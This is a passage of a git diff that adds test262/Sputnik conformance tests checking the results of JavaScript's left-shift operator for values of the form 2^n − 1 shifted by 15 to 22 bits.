+if (2147483647 << 15 !== -32768) {
+ $ERROR('#512: 2147483647 << 15 === -32768. Actual: ' + (2147483647 << 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T4.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T4.js
new file mode 100644
index 000000000..15082a7cc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T4.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x << y in distinct points
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A4_T4.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (0 << 16 !== 0) {
+ $ERROR('#513: 0 << 16 === 0. Actual: ' + (0 << 16));
+}
+
+
+if (1 << 16 !== 65536) {
+ $ERROR('#514: 1 << 16 === 65536. Actual: ' + (1 << 16));
+}
+
+
+if (3 << 16 !== 196608) {
+ $ERROR('#515: 3 << 16 === 196608. Actual: ' + (3 << 16));
+}
+
+
+if (7 << 16 !== 458752) {
+ $ERROR('#516: 7 << 16 === 458752. Actual: ' + (7 << 16));
+}
+
+
+if (15 << 16 !== 983040) {
+ $ERROR('#517: 15 << 16 === 983040. Actual: ' + (15 << 16));
+}
+
+
+if (31 << 16 !== 2031616) {
+ $ERROR('#518: 31 << 16 === 2031616. Actual: ' + (31 << 16));
+}
+
+
+if (63 << 16 !== 4128768) {
+ $ERROR('#519: 63 << 16 === 4128768. Actual: ' + (63 << 16));
+}
+
+
+if (127 << 16 !== 8323072) {
+ $ERROR('#520: 127 << 16 === 8323072. Actual: ' + (127 << 16));
+}
+
+
+if (255 << 16 !== 16711680) {
+ $ERROR('#521: 255 << 16 === 16711680. Actual: ' + (255 << 16));
+}
+
+
+if (511 << 16 !== 33488896) {
+ $ERROR('#522: 511 << 16 === 33488896. Actual: ' + (511 << 16));
+}
+
+
+if (1023 << 16 !== 67043328) {
+ $ERROR('#523: 1023 << 16 === 67043328. Actual: ' + (1023 << 16));
+}
+
+
+if (2047 << 16 !== 134152192) {
+ $ERROR('#524: 2047 << 16 === 134152192. Actual: ' + (2047 << 16));
+}
+
+
+if (4095 << 16 !== 268369920) {
+ $ERROR('#525: 4095 << 16 === 268369920. Actual: ' + (4095 << 16));
+}
+
+
+if (8191 << 16 !== 536805376) {
+ $ERROR('#526: 8191 << 16 === 536805376. Actual: ' + (8191 << 16));
+}
+
+
+if (16383 << 16 !== 1073676288) {
+ $ERROR('#527: 16383 << 16 === 1073676288. Actual: ' + (16383 << 16));
+}
+
+
+if (32767 << 16 !== 2147418112) {
+ $ERROR('#528: 32767 << 16 === 2147418112. Actual: ' + (32767 << 16));
+}
+
+
+if (65535 << 16 !== -65536) {
+ $ERROR('#529: 65535 << 16 === -65536. Actual: ' + (65535 << 16));
+}
+
+
+if (131071 << 16 !== -65536) {
+ $ERROR('#530: 131071 << 16 === -65536. Actual: ' + (131071 << 16));
+}
+
+
+if (262143 << 16 !== -65536) {
+ $ERROR('#531: 262143 << 16 === -65536. Actual: ' + (262143 << 16));
+}
+
+
+if (524287 << 16 !== -65536) {
+ $ERROR('#532: 524287 << 16 === -65536. Actual: ' + (524287 << 16));
+}
+
+
+if (1048575 << 16 !== -65536) {
+ $ERROR('#533: 1048575 << 16 === -65536. Actual: ' + (1048575 << 16));
+}
+
+
+if (2097151 << 16 !== -65536) {
+ $ERROR('#534: 2097151 << 16 === -65536. Actual: ' + (2097151 << 16));
+}
+
+
+if (4194303 << 16 !== -65536) {
+ $ERROR('#535: 4194303 << 16 === -65536. Actual: ' + (4194303 << 16));
+}
+
+
+if (8388607 << 16 !== -65536) {
+ $ERROR('#536: 8388607 << 16 === -65536. Actual: ' + (8388607 << 16));
+}
+
+
+if (16777215 << 16 !== -65536) {
+ $ERROR('#537: 16777215 << 16 === -65536. Actual: ' + (16777215 << 16));
+}
+
+
+if (33554431 << 16 !== -65536) {
+ $ERROR('#538: 33554431 << 16 === -65536. Actual: ' + (33554431 << 16));
+}
+
+
+if (67108863 << 16 !== -65536) {
+ $ERROR('#539: 67108863 << 16 === -65536. Actual: ' + (67108863 << 16));
+}
+
+
+if (134217727 << 16 !== -65536) {
+ $ERROR('#540: 134217727 << 16 === -65536. Actual: ' + (134217727 << 16));
+}
+
+
+if (268435455 << 16 !== -65536) {
+ $ERROR('#541: 268435455 << 16 === -65536. Actual: ' + (268435455 << 16));
+}
+
+
+if (536870911 << 16 !== -65536) {
+ $ERROR('#542: 536870911 << 16 === -65536. Actual: ' + (536870911 << 16));
+}
+
+
+if (1073741823 << 16 !== -65536) {
+ $ERROR('#543: 1073741823 << 16 === -65536. Actual: ' + (1073741823 << 16));
+}
+
+
+if (2147483647 << 16 !== -65536) {
+ $ERROR('#544: 2147483647 << 16 === -65536. Actual: ' + (2147483647 << 16));
+}
+
+
+if (0 << 17 !== 0) {
+ $ERROR('#545: 0 << 17 === 0. Actual: ' + (0 << 17));
+}
+
+
+if (1 << 17 !== 131072) {
+ $ERROR('#546: 1 << 17 === 131072. Actual: ' + (1 << 17));
+}
+
+
+if (3 << 17 !== 393216) {
+ $ERROR('#547: 3 << 17 === 393216. Actual: ' + (3 << 17));
+}
+
+
+if (7 << 17 !== 917504) {
+ $ERROR('#548: 7 << 17 === 917504. Actual: ' + (7 << 17));
+}
+
+
+if (15 << 17 !== 1966080) {
+ $ERROR('#549: 15 << 17 === 1966080. Actual: ' + (15 << 17));
+}
+
+
+if (31 << 17 !== 4063232) {
+ $ERROR('#550: 31 << 17 === 4063232. Actual: ' + (31 << 17));
+}
+
+
+if (63 << 17 !== 8257536) {
+ $ERROR('#551: 63 << 17 === 8257536. Actual: ' + (63 << 17));
+}
+
+
+if (127 << 17 !== 16646144) {
+ $ERROR('#552: 127 << 17 === 16646144. Actual: ' + (127 << 17));
+}
+
+
+if (255 << 17 !== 33423360) {
+ $ERROR('#553: 255 << 17 === 33423360. Actual: ' + (255 << 17));
+}
+
+
+if (511 << 17 !== 66977792) {
+ $ERROR('#554: 511 << 17 === 66977792. Actual: ' + (511 << 17));
+}
+
+
+if (1023 << 17 !== 134086656) {
+ $ERROR('#555: 1023 << 17 === 134086656. Actual: ' + (1023 << 17));
+}
+
+
+if (2047 << 17 !== 268304384) {
+ $ERROR('#556: 2047 << 17 === 268304384. Actual: ' + (2047 << 17));
+}
+
+
+if (4095 << 17 !== 536739840) {
+ $ERROR('#557: 4095 << 17 === 536739840. Actual: ' + (4095 << 17));
+}
+
+
+if (8191 << 17 !== 1073610752) {
+ $ERROR('#558: 8191 << 17 === 1073610752. Actual: ' + (8191 << 17));
+}
+
+
+if (16383 << 17 !== 2147352576) {
+ $ERROR('#559: 16383 << 17 === 2147352576. Actual: ' + (16383 << 17));
+}
+
+
+if (32767 << 17 !== -131072) {
+ $ERROR('#560: 32767 << 17 === -131072. Actual: ' + (32767 << 17));
+}
+
+
+if (65535 << 17 !== -131072) {
+ $ERROR('#561: 65535 << 17 === -131072. Actual: ' + (65535 << 17));
+}
+
+
+if (131071 << 17 !== -131072) {
+ $ERROR('#562: 131071 << 17 === -131072. Actual: ' + (131071 << 17));
+}
+
+
+if (262143 << 17 !== -131072) {
+ $ERROR('#563: 262143 << 17 === -131072. Actual: ' + (262143 << 17));
+}
+
+
+if (524287 << 17 !== -131072) {
+ $ERROR('#564: 524287 << 17 === -131072. Actual: ' + (524287 << 17));
+}
+
+
+if (1048575 << 17 !== -131072) {
+ $ERROR('#565: 1048575 << 17 === -131072. Actual: ' + (1048575 << 17));
+}
+
+
+if (2097151 << 17 !== -131072) {
+ $ERROR('#566: 2097151 << 17 === -131072. Actual: ' + (2097151 << 17));
+}
+
+
+if (4194303 << 17 !== -131072) {
+ $ERROR('#567: 4194303 << 17 === -131072. Actual: ' + (4194303 << 17));
+}
+
+
+if (8388607 << 17 !== -131072) {
+ $ERROR('#568: 8388607 << 17 === -131072. Actual: ' + (8388607 << 17));
+}
+
+
+if (16777215 << 17 !== -131072) {
+ $ERROR('#569: 16777215 << 17 === -131072. Actual: ' + (16777215 << 17));
+}
+
+
+if (33554431 << 17 !== -131072) {
+ $ERROR('#570: 33554431 << 17 === -131072. Actual: ' + (33554431 << 17));
+}
+
+
+if (67108863 << 17 !== -131072) {
+ $ERROR('#571: 67108863 << 17 === -131072. Actual: ' + (67108863 << 17));
+}
+
+
+if (134217727 << 17 !== -131072) {
+ $ERROR('#572: 134217727 << 17 === -131072. Actual: ' + (134217727 << 17));
+}
+
+
+if (268435455 << 17 !== -131072) {
+ $ERROR('#573: 268435455 << 17 === -131072. Actual: ' + (268435455 << 17));
+}
+
+
+if (536870911 << 17 !== -131072) {
+ $ERROR('#574: 536870911 << 17 === -131072. Actual: ' + (536870911 << 17));
+}
+
+
+if (1073741823 << 17 !== -131072) {
+ $ERROR('#575: 1073741823 << 17 === -131072. Actual: ' + (1073741823 << 17));
+}
+
+
+if (2147483647 << 17 !== -131072) {
+ $ERROR('#576: 2147483647 << 17 === -131072. Actual: ' + (2147483647 << 17));
+}
+
+
+if (0 << 18 !== 0) {
+ $ERROR('#577: 0 << 18 === 0. Actual: ' + (0 << 18));
+}
+
+
+if (1 << 18 !== 262144) {
+ $ERROR('#578: 1 << 18 === 262144. Actual: ' + (1 << 18));
+}
+
+
+if (3 << 18 !== 786432) {
+ $ERROR('#579: 3 << 18 === 786432. Actual: ' + (3 << 18));
+}
+
+
+if (7 << 18 !== 1835008) {
+ $ERROR('#580: 7 << 18 === 1835008. Actual: ' + (7 << 18));
+}
+
+
+if (15 << 18 !== 3932160) {
+ $ERROR('#581: 15 << 18 === 3932160. Actual: ' + (15 << 18));
+}
+
+
+if (31 << 18 !== 8126464) {
+ $ERROR('#582: 31 << 18 === 8126464. Actual: ' + (31 << 18));
+}
+
+
+if (63 << 18 !== 16515072) {
+ $ERROR('#583: 63 << 18 === 16515072. Actual: ' + (63 << 18));
+}
+
+
+if (127 << 18 !== 33292288) {
+ $ERROR('#584: 127 << 18 === 33292288. Actual: ' + (127 << 18));
+}
+
+
+if (255 << 18 !== 66846720) {
+ $ERROR('#585: 255 << 18 === 66846720. Actual: ' + (255 << 18));
+}
+
+
+if (511 << 18 !== 133955584) {
+ $ERROR('#586: 511 << 18 === 133955584. Actual: ' + (511 << 18));
+}
+
+
+if (1023 << 18 !== 268173312) {
+ $ERROR('#587: 1023 << 18 === 268173312. Actual: ' + (1023 << 18));
+}
+
+
+if (2047 << 18 !== 536608768) {
+ $ERROR('#588: 2047 << 18 === 536608768. Actual: ' + (2047 << 18));
+}
+
+
+if (4095 << 18 !== 1073479680) {
+ $ERROR('#589: 4095 << 18 === 1073479680. Actual: ' + (4095 << 18));
+}
+
+
+if (8191 << 18 !== 2147221504) {
+ $ERROR('#590: 8191 << 18 === 2147221504. Actual: ' + (8191 << 18));
+}
+
+
+if (16383 << 18 !== -262144) {
+ $ERROR('#591: 16383 << 18 === -262144. Actual: ' + (16383 << 18));
+}
+
+
+if (32767 << 18 !== -262144) {
+ $ERROR('#592: 32767 << 18 === -262144. Actual: ' + (32767 << 18));
+}
+
+
+if (65535 << 18 !== -262144) {
+ $ERROR('#593: 65535 << 18 === -262144. Actual: ' + (65535 << 18));
+}
+
+
+if (131071 << 18 !== -262144) {
+ $ERROR('#594: 131071 << 18 === -262144. Actual: ' + (131071 << 18));
+}
+
+
+if (262143 << 18 !== -262144) {
+ $ERROR('#595: 262143 << 18 === -262144. Actual: ' + (262143 << 18));
+}
+
+
+if (524287 << 18 !== -262144) {
+ $ERROR('#596: 524287 << 18 === -262144. Actual: ' + (524287 << 18));
+}
+
+
+if (1048575 << 18 !== -262144) {
+ $ERROR('#597: 1048575 << 18 === -262144. Actual: ' + (1048575 << 18));
+}
+
+
+if (2097151 << 18 !== -262144) {
+ $ERROR('#598: 2097151 << 18 === -262144. Actual: ' + (2097151 << 18));
+}
+
+
+if (4194303 << 18 !== -262144) {
+ $ERROR('#599: 4194303 << 18 === -262144. Actual: ' + (4194303 << 18));
+}
+
+
+if (8388607 << 18 !== -262144) {
+ $ERROR('#600: 8388607 << 18 === -262144. Actual: ' + (8388607 << 18));
+}
+
+
+if (16777215 << 18 !== -262144) {
+ $ERROR('#601: 16777215 << 18 === -262144. Actual: ' + (16777215 << 18));
+}
+
+
+if (33554431 << 18 !== -262144) {
+ $ERROR('#602: 33554431 << 18 === -262144. Actual: ' + (33554431 << 18));
+}
+
+
+if (67108863 << 18 !== -262144) {
+ $ERROR('#603: 67108863 << 18 === -262144. Actual: ' + (67108863 << 18));
+}
+
+
+if (134217727 << 18 !== -262144) {
+ $ERROR('#604: 134217727 << 18 === -262144. Actual: ' + (134217727 << 18));
+}
+
+
+if (268435455 << 18 !== -262144) {
+ $ERROR('#605: 268435455 << 18 === -262144. Actual: ' + (268435455 << 18));
+}
+
+
+if (536870911 << 18 !== -262144) {
+ $ERROR('#606: 536870911 << 18 === -262144. Actual: ' + (536870911 << 18));
+}
+
+
+if (1073741823 << 18 !== -262144) {
+ $ERROR('#607: 1073741823 << 18 === -262144. Actual: ' + (1073741823 << 18));
+}
+
+
+if (2147483647 << 18 !== -262144) {
+ $ERROR('#608: 2147483647 << 18 === -262144. Actual: ' + (2147483647 << 18));
+}
+
+
+if (0 << 19 !== 0) {
+ $ERROR('#609: 0 << 19 === 0. Actual: ' + (0 << 19));
+}
+
+
+if (1 << 19 !== 524288) {
+ $ERROR('#610: 1 << 19 === 524288. Actual: ' + (1 << 19));
+}
+
+
+if (3 << 19 !== 1572864) {
+ $ERROR('#611: 3 << 19 === 1572864. Actual: ' + (3 << 19));
+}
+
+
+if (7 << 19 !== 3670016) {
+ $ERROR('#612: 7 << 19 === 3670016. Actual: ' + (7 << 19));
+}
+
+
+if (15 << 19 !== 7864320) {
+ $ERROR('#613: 15 << 19 === 7864320. Actual: ' + (15 << 19));
+}
+
+
+if (31 << 19 !== 16252928) {
+ $ERROR('#614: 31 << 19 === 16252928. Actual: ' + (31 << 19));
+}
+
+
+if (63 << 19 !== 33030144) {
+ $ERROR('#615: 63 << 19 === 33030144. Actual: ' + (63 << 19));
+}
+
+
+if (127 << 19 !== 66584576) {
+ $ERROR('#616: 127 << 19 === 66584576. Actual: ' + (127 << 19));
+}
+
+
+if (255 << 19 !== 133693440) {
+ $ERROR('#617: 255 << 19 === 133693440. Actual: ' + (255 << 19));
+}
+
+
+if (511 << 19 !== 267911168) {
+ $ERROR('#618: 511 << 19 === 267911168. Actual: ' + (511 << 19));
+}
+
+
+if (1023 << 19 !== 536346624) {
+ $ERROR('#619: 1023 << 19 === 536346624. Actual: ' + (1023 << 19));
+}
+
+
+if (2047 << 19 !== 1073217536) {
+ $ERROR('#620: 2047 << 19 === 1073217536. Actual: ' + (2047 << 19));
+}
+
+
+if (4095 << 19 !== 2146959360) {
+ $ERROR('#621: 4095 << 19 === 2146959360. Actual: ' + (4095 << 19));
+}
+
+
+if (8191 << 19 !== -524288) {
+ $ERROR('#622: 8191 << 19 === -524288. Actual: ' + (8191 << 19));
+}
+
+
+if (16383 << 19 !== -524288) {
+ $ERROR('#623: 16383 << 19 === -524288. Actual: ' + (16383 << 19));
+}
+
+
+if (32767 << 19 !== -524288) {
+ $ERROR('#624: 32767 << 19 === -524288. Actual: ' + (32767 << 19));
+}
+
+
+if (65535 << 19 !== -524288) {
+ $ERROR('#625: 65535 << 19 === -524288. Actual: ' + (65535 << 19));
+}
+
+
+if (131071 << 19 !== -524288) {
+ $ERROR('#626: 131071 << 19 === -524288. Actual: ' + (131071 << 19));
+}
+
+
+if (262143 << 19 !== -524288) {
+ $ERROR('#627: 262143 << 19 === -524288. Actual: ' + (262143 << 19));
+}
+
+
+if (524287 << 19 !== -524288) {
+ $ERROR('#628: 524287 << 19 === -524288. Actual: ' + (524287 << 19));
+}
+
+
+if (1048575 << 19 !== -524288) {
+ $ERROR('#629: 1048575 << 19 === -524288. Actual: ' + (1048575 << 19));
+}
+
+
+if (2097151 << 19 !== -524288) {
+ $ERROR('#630: 2097151 << 19 === -524288. Actual: ' + (2097151 << 19));
+}
+
+
+if (4194303 << 19 !== -524288) {
+ $ERROR('#631: 4194303 << 19 === -524288. Actual: ' + (4194303 << 19));
+}
+
+
+if (8388607 << 19 !== -524288) {
+ $ERROR('#632: 8388607 << 19 === -524288. Actual: ' + (8388607 << 19));
+}
+
+
+if (16777215 << 19 !== -524288) {
+ $ERROR('#633: 16777215 << 19 === -524288. Actual: ' + (16777215 << 19));
+}
+
+
+if (33554431 << 19 !== -524288) {
+ $ERROR('#634: 33554431 << 19 === -524288. Actual: ' + (33554431 << 19));
+}
+
+
+if (67108863 << 19 !== -524288) {
+ $ERROR('#635: 67108863 << 19 === -524288. Actual: ' + (67108863 << 19));
+}
+
+
+if (134217727 << 19 !== -524288) {
+ $ERROR('#636: 134217727 << 19 === -524288. Actual: ' + (134217727 << 19));
+}
+
+
+if (268435455 << 19 !== -524288) {
+ $ERROR('#637: 268435455 << 19 === -524288. Actual: ' + (268435455 << 19));
+}
+
+
+if (536870911 << 19 !== -524288) {
+ $ERROR('#638: 536870911 << 19 === -524288. Actual: ' + (536870911 << 19));
+}
+
+
+if (1073741823 << 19 !== -524288) {
+ $ERROR('#639: 1073741823 << 19 === -524288. Actual: ' + (1073741823 << 19));
+}
+
+
+if (2147483647 << 19 !== -524288) {
+ $ERROR('#640: 2147483647 << 19 === -524288. Actual: ' + (2147483647 << 19));
+}
+
+
+if (0 << 20 !== 0) {
+ $ERROR('#641: 0 << 20 === 0. Actual: ' + (0 << 20));
+}
+
+
+if (1 << 20 !== 1048576) {
+ $ERROR('#642: 1 << 20 === 1048576. Actual: ' + (1 << 20));
+}
+
+
+if (3 << 20 !== 3145728) {
+ $ERROR('#643: 3 << 20 === 3145728. Actual: ' + (3 << 20));
+}
+
+
+if (7 << 20 !== 7340032) {
+ $ERROR('#644: 7 << 20 === 7340032. Actual: ' + (7 << 20));
+}
+
+
+if (15 << 20 !== 15728640) {
+ $ERROR('#645: 15 << 20 === 15728640. Actual: ' + (15 << 20));
+}
+
+
+if (31 << 20 !== 32505856) {
+ $ERROR('#646: 31 << 20 === 32505856. Actual: ' + (31 << 20));
+}
+
+
+if (63 << 20 !== 66060288) {
+ $ERROR('#647: 63 << 20 === 66060288. Actual: ' + (63 << 20));
+}
+
+
+if (127 << 20 !== 133169152) {
+ $ERROR('#648: 127 << 20 === 133169152. Actual: ' + (127 << 20));
+}
+
+
+if (255 << 20 !== 267386880) {
+ $ERROR('#649: 255 << 20 === 267386880. Actual: ' + (255 << 20));
+}
+
+
+if (511 << 20 !== 535822336) {
+ $ERROR('#650: 511 << 20 === 535822336. Actual: ' + (511 << 20));
+}
+
+
+if (1023 << 20 !== 1072693248) {
+ $ERROR('#651: 1023 << 20 === 1072693248. Actual: ' + (1023 << 20));
+}
+
+
+if (2047 << 20 !== 2146435072) {
+ $ERROR('#652: 2047 << 20 === 2146435072. Actual: ' + (2047 << 20));
+}
+
+
+if (4095 << 20 !== -1048576) {
+ $ERROR('#653: 4095 << 20 === -1048576. Actual: ' + (4095 << 20));
+}
+
+
+if (8191 << 20 !== -1048576) {
+ $ERROR('#654: 8191 << 20 === -1048576. Actual: ' + (8191 << 20));
+}
+
+
+if (16383 << 20 !== -1048576) {
+ $ERROR('#655: 16383 << 20 === -1048576. Actual: ' + (16383 << 20));
+}
+
+
+if (32767 << 20 !== -1048576) {
+ $ERROR('#656: 32767 << 20 === -1048576. Actual: ' + (32767 << 20));
+}
+
+
+if (65535 << 20 !== -1048576) {
+ $ERROR('#657: 65535 << 20 === -1048576. Actual: ' + (65535 << 20));
+}
+
+
+if (131071 << 20 !== -1048576) {
+ $ERROR('#658: 131071 << 20 === -1048576. Actual: ' + (131071 << 20));
+}
+
+
+if (262143 << 20 !== -1048576) {
+ $ERROR('#659: 262143 << 20 === -1048576. Actual: ' + (262143 << 20));
+}
+
+
+if (524287 << 20 !== -1048576) {
+ $ERROR('#660: 524287 << 20 === -1048576. Actual: ' + (524287 << 20));
+}
+
+
+if (1048575 << 20 !== -1048576) {
+ $ERROR('#661: 1048575 << 20 === -1048576. Actual: ' + (1048575 << 20));
+}
+
+
+if (2097151 << 20 !== -1048576) {
+ $ERROR('#662: 2097151 << 20 === -1048576. Actual: ' + (2097151 << 20));
+}
+
+
+if (4194303 << 20 !== -1048576) {
+ $ERROR('#663: 4194303 << 20 === -1048576. Actual: ' + (4194303 << 20));
+}
+
+
+if (8388607 << 20 !== -1048576) {
+ $ERROR('#664: 8388607 << 20 === -1048576. Actual: ' + (8388607 << 20));
+}
+
+
+if (16777215 << 20 !== -1048576) {
+ $ERROR('#665: 16777215 << 20 === -1048576. Actual: ' + (16777215 << 20));
+}
+
+
+if (33554431 << 20 !== -1048576) {
+ $ERROR('#666: 33554431 << 20 === -1048576. Actual: ' + (33554431 << 20));
+}
+
+
+if (67108863 << 20 !== -1048576) {
+ $ERROR('#667: 67108863 << 20 === -1048576. Actual: ' + (67108863 << 20));
+}
+
+
+if (134217727 << 20 !== -1048576) {
+ $ERROR('#668: 134217727 << 20 === -1048576. Actual: ' + (134217727 << 20));
+}
+
+
+if (268435455 << 20 !== -1048576) {
+ $ERROR('#669: 268435455 << 20 === -1048576. Actual: ' + (268435455 << 20));
+}
+
+
+if (536870911 << 20 !== -1048576) {
+ $ERROR('#670: 536870911 << 20 === -1048576. Actual: ' + (536870911 << 20));
+}
+
+
+if (1073741823 << 20 !== -1048576) {
+ $ERROR('#671: 1073741823 << 20 === -1048576. Actual: ' + (1073741823 << 20));
+}
+
+
+if (2147483647 << 20 !== -1048576) {
+ $ERROR('#672: 2147483647 << 20 === -1048576. Actual: ' + (2147483647 << 20));
+}
+
+
+if (0 << 21 !== 0) {
+ $ERROR('#673: 0 << 21 === 0. Actual: ' + (0 << 21));
+}
+
+
+if (1 << 21 !== 2097152) {
+ $ERROR('#674: 1 << 21 === 2097152. Actual: ' + (1 << 21));
+}
+
+
+if (3 << 21 !== 6291456) {
+ $ERROR('#675: 3 << 21 === 6291456. Actual: ' + (3 << 21));
+}
+
+
+if (7 << 21 !== 14680064) {
+ $ERROR('#676: 7 << 21 === 14680064. Actual: ' + (7 << 21));
+}
+
+
+if (15 << 21 !== 31457280) {
+ $ERROR('#677: 15 << 21 === 31457280. Actual: ' + (15 << 21));
+}
+
+
+if (31 << 21 !== 65011712) {
+ $ERROR('#678: 31 << 21 === 65011712. Actual: ' + (31 << 21));
+}
+
+
+if (63 << 21 !== 132120576) {
+ $ERROR('#679: 63 << 21 === 132120576. Actual: ' + (63 << 21));
+}
+
+
+if (127 << 21 !== 266338304) {
+ $ERROR('#680: 127 << 21 === 266338304. Actual: ' + (127 << 21));
+}
+
+
+if (255 << 21 !== 534773760) {
+ $ERROR('#681: 255 << 21 === 534773760. Actual: ' + (255 << 21));
+}
+
+
+if (511 << 21 !== 1071644672) {
+ $ERROR('#682: 511 << 21 === 1071644672. Actual: ' + (511 << 21));
+}
+
+
+if (1023 << 21 !== 2145386496) {
+ $ERROR('#683: 1023 << 21 === 2145386496. Actual: ' + (1023 << 21));
+}
+
+
+if (2047 << 21 !== -2097152) {
+ $ERROR('#684: 2047 << 21 === -2097152. Actual: ' + (2047 << 21));
+}
+
+
+if (4095 << 21 !== -2097152) {
+ $ERROR('#685: 4095 << 21 === -2097152. Actual: ' + (4095 << 21));
+}
+
+
+if (8191 << 21 !== -2097152) {
+ $ERROR('#686: 8191 << 21 === -2097152. Actual: ' + (8191 << 21));
+}
+
+
+if (16383 << 21 !== -2097152) {
+ $ERROR('#687: 16383 << 21 === -2097152. Actual: ' + (16383 << 21));
+}
+
+
+if (32767 << 21 !== -2097152) {
+ $ERROR('#688: 32767 << 21 === -2097152. Actual: ' + (32767 << 21));
+}
+
+
+if (65535 << 21 !== -2097152) {
+ $ERROR('#689: 65535 << 21 === -2097152. Actual: ' + (65535 << 21));
+}
+
+
+if (131071 << 21 !== -2097152) {
+ $ERROR('#690: 131071 << 21 === -2097152. Actual: ' + (131071 << 21));
+}
+
+
+if (262143 << 21 !== -2097152) {
+ $ERROR('#691: 262143 << 21 === -2097152. Actual: ' + (262143 << 21));
+}
+
+
+if (524287 << 21 !== -2097152) {
+ $ERROR('#692: 524287 << 21 === -2097152. Actual: ' + (524287 << 21));
+}
+
+
+if (1048575 << 21 !== -2097152) {
+ $ERROR('#693: 1048575 << 21 === -2097152. Actual: ' + (1048575 << 21));
+}
+
+
+if (2097151 << 21 !== -2097152) {
+ $ERROR('#694: 2097151 << 21 === -2097152. Actual: ' + (2097151 << 21));
+}
+
+
+if (4194303 << 21 !== -2097152) {
+ $ERROR('#695: 4194303 << 21 === -2097152. Actual: ' + (4194303 << 21));
+}
+
+
+if (8388607 << 21 !== -2097152) {
+ $ERROR('#696: 8388607 << 21 === -2097152. Actual: ' + (8388607 << 21));
+}
+
+
+if (16777215 << 21 !== -2097152) {
+ $ERROR('#697: 16777215 << 21 === -2097152. Actual: ' + (16777215 << 21));
+}
+
+
+if (33554431 << 21 !== -2097152) {
+ $ERROR('#698: 33554431 << 21 === -2097152. Actual: ' + (33554431 << 21));
+}
+
+
+if (67108863 << 21 !== -2097152) {
+ $ERROR('#699: 67108863 << 21 === -2097152. Actual: ' + (67108863 << 21));
+}
+
+
+if (134217727 << 21 !== -2097152) {
+ $ERROR('#700: 134217727 << 21 === -2097152. Actual: ' + (134217727 << 21));
+}
+
+
+if (268435455 << 21 !== -2097152) {
+ $ERROR('#701: 268435455 << 21 === -2097152. Actual: ' + (268435455 << 21));
+}
+
+
+if (536870911 << 21 !== -2097152) {
+ $ERROR('#702: 536870911 << 21 === -2097152. Actual: ' + (536870911 << 21));
+}
+
+
+if (1073741823 << 21 !== -2097152) {
+ $ERROR('#703: 1073741823 << 21 === -2097152. Actual: ' + (1073741823 << 21));
+}
+
+
+if (2147483647 << 21 !== -2097152) {
+ $ERROR('#704: 2147483647 << 21 === -2097152. Actual: ' + (2147483647 << 21));
+}
+
+
+if (0 << 22 !== 0) {
+ $ERROR('#705: 0 << 22 === 0. Actual: ' + (0 << 22));
+}
+
+
+if (1 << 22 !== 4194304) {
+ $ERROR('#706: 1 << 22 === 4194304. Actual: ' + (1 << 22));
+}
+
+
+if (3 << 22 !== 12582912) {
+ $ERROR('#707: 3 << 22 === 12582912. Actual: ' + (3 << 22));
+}
+
+
+if (7 << 22 !== 29360128) {
+ $ERROR('#708: 7 << 22 === 29360128. Actual: ' + (7 << 22));
+}
+
+
+if (15 << 22 !== 62914560) {
+ $ERROR('#709: 15 << 22 === 62914560. Actual: ' + (15 << 22));
+}
+
+
+if (31 << 22 !== 130023424) {
+ $ERROR('#710: 31 << 22 === 130023424. Actual: ' + (31 << 22));
+}
+
+
+if (63 << 22 !== 264241152) {
+ $ERROR('#711: 63 << 22 === 264241152. Actual: ' + (63 << 22));
+}
+
+
+if (127 << 22 !== 532676608) {
+ $ERROR('#712: 127 << 22 === 532676608. Actual: ' + (127 << 22));
+}
+
+
+if (255 << 22 !== 1069547520) {
+ $ERROR('#713: 255 << 22 === 1069547520. Actual: ' + (255 << 22));
+}
+
+
+if (511 << 22 !== 2143289344) {
+ $ERROR('#714: 511 << 22 === 2143289344. Actual: ' + (511 << 22));
+}
+
+
+if (1023 << 22 !== -4194304) {
+ $ERROR('#715: 1023 << 22 === -4194304. Actual: ' + (1023 << 22));
+}
+
+
+if (2047 << 22 !== -4194304) {
+ $ERROR('#716: 2047 << 22 === -4194304. Actual: ' + (2047 << 22));
+}
+
+
+if (4095 << 22 !== -4194304) {
+ $ERROR('#717: 4095 << 22 === -4194304. Actual: ' + (4095 << 22));
+}
+
+
+if (8191 << 22 !== -4194304) {
+ $ERROR('#718: 8191 << 22 === -4194304. Actual: ' + (8191 << 22));
+}
+
+
+if (16383 << 22 !== -4194304) {
+ $ERROR('#719: 16383 << 22 === -4194304. Actual: ' + (16383 << 22));
+}
+
+
+if (32767 << 22 !== -4194304) {
+ $ERROR('#720: 32767 << 22 === -4194304. Actual: ' + (32767 << 22));
+}
+
+
+if (65535 << 22 !== -4194304) {
+ $ERROR('#721: 65535 << 22 === -4194304. Actual: ' + (65535 << 22));
+}
+
+
+if (131071 << 22 !== -4194304) {
+ $ERROR('#722: 131071 << 22 === -4194304. Actual: ' + (131071 << 22));
+}
+
+
+if (262143 << 22 !== -4194304) {
+ $ERROR('#723: 262143 << 22 === -4194304. Actual: ' + (262143 << 22));
+}
+
+
+if (524287 << 22 !== -4194304) {
+ $ERROR('#724: 524287 << 22 === -4194304. Actual: ' + (524287 << 22));
+}
+
+
+if (1048575 << 22 !== -4194304) {
+ $ERROR('#725: 1048575 << 22 === -4194304. Actual: ' + (1048575 << 22));
+}
+
+
+if (2097151 << 22 !== -4194304) {
+ $ERROR('#726: 2097151 << 22 === -4194304. Actual: ' + (2097151 << 22));
+}
+
+
+if (4194303 << 22 !== -4194304) {
+ $ERROR('#727: 4194303 << 22 === -4194304. Actual: ' + (4194303 << 22));
+}
+
+
+if (8388607 << 22 !== -4194304) {
+ $ERROR('#728: 8388607 << 22 === -4194304. Actual: ' + (8388607 << 22));
+}
+
+
+if (16777215 << 22 !== -4194304) {
+ $ERROR('#729: 16777215 << 22 === -4194304. Actual: ' + (16777215 << 22));
+}
+
+
+if (33554431 << 22 !== -4194304) {
+ $ERROR('#730: 33554431 << 22 === -4194304. Actual: ' + (33554431 << 22));
+}
+
+
+if (67108863 << 22 !== -4194304) {
+ $ERROR('#731: 67108863 << 22 === -4194304. Actual: ' + (67108863 << 22));
+}
+
+
+if (134217727 << 22 !== -4194304) {
